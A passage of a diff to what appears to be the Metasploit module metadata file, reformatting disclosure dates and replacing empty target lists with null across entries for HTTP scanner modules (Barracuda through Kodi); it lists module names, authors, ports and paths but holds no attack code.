"disclosure_date": "2010-10-08 00:00:00 -0500", + "disclosure_date": "2010-10-08", "type": "auxiliary", "author": [ "Tiago Ferreira " @@ -12774,9 +11880,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb", "is_install_path": true, @@ -12800,9 +11904,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/bavision_cam_login.rb", "is_install_path": true, @@ -12826,9 +11928,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb", "is_install_path": true, @@ -12838,7 +11938,7 @@ "name": "Bitweaver overlay_type Directory Traversal", "full_name": "auxiliary/scanner/http/bitweaver_overlay_type_traversal", "rank": 300, - "disclosure_date": "2012-10-23 00:00:00 -0500", + "disclosure_date": "2012-10-23", "type": "auxiliary", "author": [ "David Aaron", @@ -12857,9 +11957,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb", "is_install_path": true, @@ -12883,9 +11981,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/blind_sql_query.rb", "is_install_path": true, @@ -12895,7 +11991,7 @@ "name": "BMC TrackIt! Unauthenticated Arbitrary User Password Change", "full_name": "auxiliary/scanner/http/bmc_trackit_passwd_reset", "rank": 300, - "disclosure_date": "2014-12-09 00:00:00 -0600", + "disclosure_date": "2014-12-09", "type": "auxiliary", "author": [ "bperry", @@ -12911,9 +12007,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb", "is_install_path": true, @@ -12937,9 +12031,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/brute_dirs.rb", "is_install_path": true, @@ -12963,9 +12055,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/buffalo_login.rb", "is_install_path": true, @@ -12989,9 +12079,7 @@ "platform": "", "arch": "", "rport": "81", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-15 00:18:33 +0000", "path": "/modules/auxiliary/scanner/http/buildmaster_login.rb", "is_install_path": true, @@ -13019,9 +12107,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb", "is_install_path": true, @@ -13031,7 +12117,7 @@ "name": "Canon Printer Wireless Configuration Disclosure", "full_name": "auxiliary/scanner/http/canon_wireless", "rank": 300, - "disclosure_date": "2013-06-18 00:00:00 -0500", + "disclosure_date": "2013-06-18", "type": "auxiliary", "author": [ "Matt \"hostess\" Andreko " @@ -13047,9 +12133,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/canon_wireless.rb", "is_install_path": true, @@ -13073,9 +12157,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/cert.rb", "is_install_path": true, @@ -13099,9 +12181,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/chef_webui_login.rb", "is_install_path": true, @@ -13125,9 +12205,7 @@ "platform": "", "arch": "", "rport": "8008", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-01 15:05:49 +0000", "path": "/modules/auxiliary/scanner/http/chromecast_webserver.rb", "is_install_path": true, @@ -13151,9 +12229,7 @@ "platform": "", "arch": "", "rport": "8008", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-01 15:05:49 +0000", "path": "/modules/auxiliary/scanner/http/chromecast_wifi.rb", "is_install_path": true, @@ -13177,9 +12253,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/cisco_asa_asdm.rb", "is_install_path": true, @@ -13189,7 +12263,7 @@ "name": "Cisco Device HTTP Device Manager Access", "full_name": "auxiliary/scanner/http/cisco_device_manager", "rank": 300, - "disclosure_date": "2000-10-26 00:00:00 -0500", + "disclosure_date": "2000-10-26", "type": "auxiliary", "author": [ "hdm " @@ -13205,9 +12279,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/cisco_device_manager.rb", "is_install_path": true, @@ -13217,7 +12289,7 @@ "name": "Cisco Firepower Management Console 6.0 Post Auth Report Download Directory Traversal", "full_name": "auxiliary/scanner/http/cisco_firepower_download", "rank": 300, - "disclosure_date": "2016-10-10 00:00:00 -0500", + "disclosure_date": "2016-10-10", "type": "auxiliary", "author": [ "Matt", @@ -13233,9 +12305,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/cisco_firepower_download.rb", "is_install_path": true, @@ -13259,9 +12329,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/cisco_firepower_login.rb", "is_install_path": true, @@ -13271,7 +12339,7 @@ "name": "Cisco IOS HTTP Unauthorized Administrative Access", "full_name": "auxiliary/scanner/http/cisco_ios_auth_bypass", "rank": 300, - "disclosure_date": "2001-06-27 00:00:00 -0500", + "disclosure_date": "2001-06-27", "type": "auxiliary", "author": [ "aushack ", @@ -13288,9 +12356,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb", "is_install_path": true, @@ -13314,9 +12380,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/cisco_ironport_enum.rb", "is_install_path": true, @@ -13341,9 +12405,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb", "is_install_path": true, @@ -13367,9 +12429,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-10 09:57:50 +0000", "path": "/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb", "is_install_path": true, @@ -13379,7 +12439,7 @@ "name": "Cisco ASA SSL VPN Privilege Escalation Vulnerability", "full_name": "auxiliary/scanner/http/cisco_ssl_vpn_priv_esc", "rank": 300, - "disclosure_date": "2014-04-09 00:00:00 -0500", + "disclosure_date": "2014-04-09", "type": "auxiliary", "author": [ "jclaudius ", @@ -13396,9 +12456,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb", "is_install_path": true, @@ -13408,7 +12466,7 @@ "name": "ClanSphere 2011.3 Local File Inclusion Vulnerability", "full_name": "auxiliary/scanner/http/clansphere_traversal", "rank": 300, - "disclosure_date": "2012-10-23 00:00:00 -0500", + "disclosure_date": "2012-10-23", "type": "auxiliary", "author": [ "blkhtc0rp", @@ -13424,9 +12482,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/clansphere_traversal.rb", "is_install_path": true, @@ -13451,9 +12507,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-19 16:48:41 +0000", "path": "/modules/auxiliary/scanner/http/cnpilot_r_web_login_loot.rb", "is_install_path": true, @@ -13482,9 +12536,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb", "is_install_path": true, @@ -13509,9 +12561,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/coldfusion_version.rb", "is_install_path": true, @@ -13537,9 +12587,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/concrete5_member_list.rb", "is_install_path": true, @@ -13563,9 +12611,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/copy_of_file.rb", "is_install_path": true, @@ -13590,9 +12636,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/crawler.rb", "is_install_path": true, @@ -13616,9 +12660,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/dell_idrac.rb", "is_install_path": true, @@ -13642,9 +12684,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/dir_listing.rb", "is_install_path": true, @@ -13668,9 +12708,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/dir_scanner.rb", "is_install_path": true, @@ -13698,9 +12736,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb", "is_install_path": true, @@ -13724,9 +12760,7 @@ "platform": "", "arch": "", "rport": "2222", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-20 15:09:11 +0000", "path": "/modules/auxiliary/scanner/http/directadmin_login.rb", "is_install_path": true, @@ -13751,9 +12785,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb", "is_install_path": true, @@ -13778,9 +12810,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb", "is_install_path": true, @@ -13805,9 +12835,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb", "is_install_path": true, @@ -13817,7 +12845,7 @@ "name": "D-Link User-Agent Backdoor Scanner", "full_name": "auxiliary/scanner/http/dlink_user_agent_backdoor", "rank": 300, - "disclosure_date": "2013-10-12 00:00:00 -0500", + "disclosure_date": "2013-10-12", "type": "auxiliary", "author": [ "Craig Heffner", @@ -13833,9 +12861,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb", "is_install_path": true, @@ -13845,7 +12871,7 @@ "name": "DnaLIMS Directory Traversal", "full_name": "auxiliary/scanner/http/dnalims_file_retrieve", "rank": 300, - "disclosure_date": "2017-03-08 00:00:00 -0600", + "disclosure_date": "2017-03-08", "type": "auxiliary", "author": [ "h00die ", @@ -13862,9 +12888,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb", "is_install_path": true, @@ -13888,9 +12912,7 @@ "platform": "", "arch": "", "rport": "2375", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 02:56:47 +0000", "path": "/modules/auxiliary/scanner/http/docker_version.rb", "is_install_path": true, @@ -13914,9 +12936,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/dolibarr_login.rb", "is_install_path": true, @@ -13926,7 +12946,7 @@ "name": "Drupal Views Module Users Enumeration", "full_name": "auxiliary/scanner/http/drupal_views_user_enum", "rank": 300, - "disclosure_date": "2010-07-02 00:00:00 -0500", + "disclosure_date": "2010-07-02", "type": "auxiliary", "author": [ "Justin Klein Keane", @@ -13942,9 +12962,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/drupal_views_user_enum.rb", "is_install_path": true, @@ -13968,9 +12986,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/ektron_cms400net.rb", "is_install_path": true, @@ -13997,9 +13013,7 @@ "platform": "", "arch": "", "rport": "9200", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/elasticsearch_traversal.rb", "is_install_path": true, @@ -14023,9 +13037,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/enum_wayback.rb", "is_install_path": true, @@ -14049,9 +13061,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-19 16:53:02 +0000", "path": "/modules/auxiliary/scanner/http/epmp1000_dump_config.rb", "is_install_path": true, @@ -14076,9 +13086,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-19 17:02:16 +0000", "path": "/modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb", "is_install_path": true, @@ -14103,9 +13111,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-23 00:14:27 +0000", "path": "/modules/auxiliary/scanner/http/epmp1000_get_chart_cmd_exec.rb", "is_install_path": true, @@ -14130,9 +13136,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-23 00:14:27 +0000", "path": "/modules/auxiliary/scanner/http/epmp1000_ping_cmd_exec.rb", "is_install_path": true, @@ -14157,9 +13161,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-23 00:14:27 +0000", "path": "/modules/auxiliary/scanner/http/epmp1000_reset_pass.rb", "is_install_path": true, @@ -14183,9 +13185,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-19 16:48:41 +0000", "path": "/modules/auxiliary/scanner/http/epmp1000_web_login.rb", "is_install_path": true, @@ -14209,9 +13209,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/error_sql_injection.rb", "is_install_path": true, @@ -14235,9 +13233,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/etherpad_duo_login.rb", "is_install_path": true, @@ -14263,9 +13259,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb", "is_install_path": true, @@ -14291,9 +13285,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb", "is_install_path": true, @@ -14317,9 +13309,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/file_same_name_dir.rb", "is_install_path": true, @@ -14343,9 +13333,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/files_dir.rb", "is_install_path": true, @@ -14370,9 +13358,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/frontpage_login.rb", "is_install_path": true, @@ -14396,9 +13382,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb", "is_install_path": true, @@ -14423,9 +13407,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/git_scanner.rb", "is_install_path": true, @@ -14449,9 +13431,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/gitlab_login.rb", "is_install_path": true, @@ -14461,7 +13441,7 @@ "name": "GitLab User Enumeration", "full_name": "auxiliary/scanner/http/gitlab_user_enum", "rank": 300, - "disclosure_date": "2014-11-21 00:00:00 -0600", + "disclosure_date": "2014-11-21", "type": "auxiliary", "author": [ "Ben Campbell " @@ -14475,9 +13455,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/gitlab_user_enum.rb", "is_install_path": true, @@ -14503,9 +13481,7 @@ "platform": "", "arch": "", "rport": "4848", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/glassfish_login.rb", "is_install_path": true, @@ -14531,9 +13507,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/goahead_traversal.rb", "is_install_path": true, @@ -14561,9 +13535,7 @@ "platform": "", "arch": "", "rport": "7181", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb", "is_install_path": true, @@ -14589,9 +13561,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/host_header_injection.rb", "is_install_path": true, @@ -14619,9 +13589,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb", "is_install_path": true, @@ -14649,9 +13617,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb", "is_install_path": true, @@ -14679,9 +13645,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb", "is_install_path": true, @@ -14709,9 +13673,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb", "is_install_path": true, @@ -14739,9 +13701,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb", "is_install_path": true, @@ -14768,9 +13728,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb", "is_install_path": true, @@ -14797,9 +13755,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb", "is_install_path": true, @@ -14826,9 +13782,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb", "is_install_path": true, @@ -14852,9 +13806,7 @@ "platform": "", "arch": "", "rport": "2381", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb", "is_install_path": true, @@ -14880,9 +13832,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/http_header.rb", "is_install_path": true, @@ -14906,9 +13856,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/http_hsts.rb", "is_install_path": true, @@ -14932,9 +13880,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/http_login.rb", "is_install_path": true, @@ -14960,9 +13906,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/http_put.rb", "is_install_path": true, @@ -14972,7 +13916,7 @@ "name": "HTTP SickRage Password Leak", "full_name": "auxiliary/scanner/http/http_sickrage_password_leak", "rank": 300, - "disclosure_date": "2018-03-08 00:00:00 +0000", + "disclosure_date": "2018-03-08", "type": "auxiliary", "author": [ "Sven Fassbender", @@ -14988,9 +13932,7 @@ "platform": "", "arch": "", "rport": "8081", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-25 17:24:13 +0000", "path": "/modules/auxiliary/scanner/http/http_sickrage_password_leak.rb", "is_install_path": true, @@ -15017,9 +13959,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-13 06:20:57 +0000", "path": "/modules/auxiliary/scanner/http/http_traversal.rb", "is_install_path": true, @@ -15043,9 +13983,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/http_version.rb", "is_install_path": true, @@ -15069,9 +14007,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/httpbl_lookup.rb", "is_install_path": true, @@ -15096,9 +14032,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-19 14:55:53 +0000", "path": "/modules/auxiliary/scanner/http/httpdasm_directory_traversal.rb", "is_install_path": true, @@ -15122,9 +14056,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/iis_internal_ip.rb", "is_install_path": true, @@ -15148,9 +14080,7 @@ "platform": "", "arch": "", "rport": "8086", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/influxdb_enum.rb", "is_install_path": true, @@ -15174,9 +14104,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/infovista_enum.rb", "is_install_path": true, @@ -15186,7 +14114,7 @@ "name": "Intel AMT Digest Authentication Bypass Scanner", "full_name": "auxiliary/scanner/http/intel_amt_digest_bypass", "rank": 300, - "disclosure_date": "2017-05-05 00:00:00 -0500", + "disclosure_date": "2017-05-05", "type": "auxiliary", "author": [ "hdm " @@ -15202,9 +14130,7 @@ "platform": "", "arch": "", "rport": "16992", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/intel_amt_digest_bypass.rb", "is_install_path": true, @@ -15228,9 +14154,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/ipboard_login.rb", "is_install_path": true, @@ -15257,9 +14181,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/jboss_status.rb", "is_install_path": true, @@ -15284,9 +14206,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/jboss_vulnscan.rb", "is_install_path": true, @@ -15314,9 +14234,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/jenkins_command.rb", "is_install_path": true, @@ -15340,9 +14258,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-01 15:32:32 +0000", "path": "/modules/auxiliary/scanner/http/jenkins_enum.rb", "is_install_path": true, @@ -15366,9 +14282,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/jenkins_login.rb", "is_install_path": true, @@ -15392,9 +14306,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb", "is_install_path": true, @@ -15404,7 +14316,7 @@ "name": "Web-Dorado ECommerce WD for Joomla! search_category_id SQL Injection Scanner", "full_name": "auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner", "rank": 300, - "disclosure_date": "2015-03-20 00:00:00 -0500", + "disclosure_date": "2015-03-20", "type": "auxiliary", "author": [ "bperry" @@ -15418,9 +14330,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner.rb", "is_install_path": true, @@ -15430,7 +14340,7 @@ "name": "Gallery WD for Joomla! Unauthenticated SQL Injection Scanner", "full_name": "auxiliary/scanner/http/joomla_gallerywd_sqli_scanner", "rank": 300, - "disclosure_date": "2015-03-30 00:00:00 -0500", + "disclosure_date": "2015-03-30", "type": "auxiliary", "author": [ "CrashBandicoot", @@ -15445,9 +14355,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/joomla_gallerywd_sqli_scanner.rb", "is_install_path": true, @@ -15471,9 +14379,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/joomla_pages.rb", "is_install_path": true, @@ -15497,9 +14403,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/joomla_plugins.rb", "is_install_path": true, @@ -15523,9 +14427,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/joomla_version.rb", "is_install_path": true, @@ -15535,7 +14437,7 @@ "name": "Kodi 17.0 Local File Inclusion Vulnerability", "full_name": "auxiliary/scanner/http/kodi_traversal", "rank": 300, - "disclosure_date": "2017-02-12 00:00:00 -0600", + "disclosure_date": 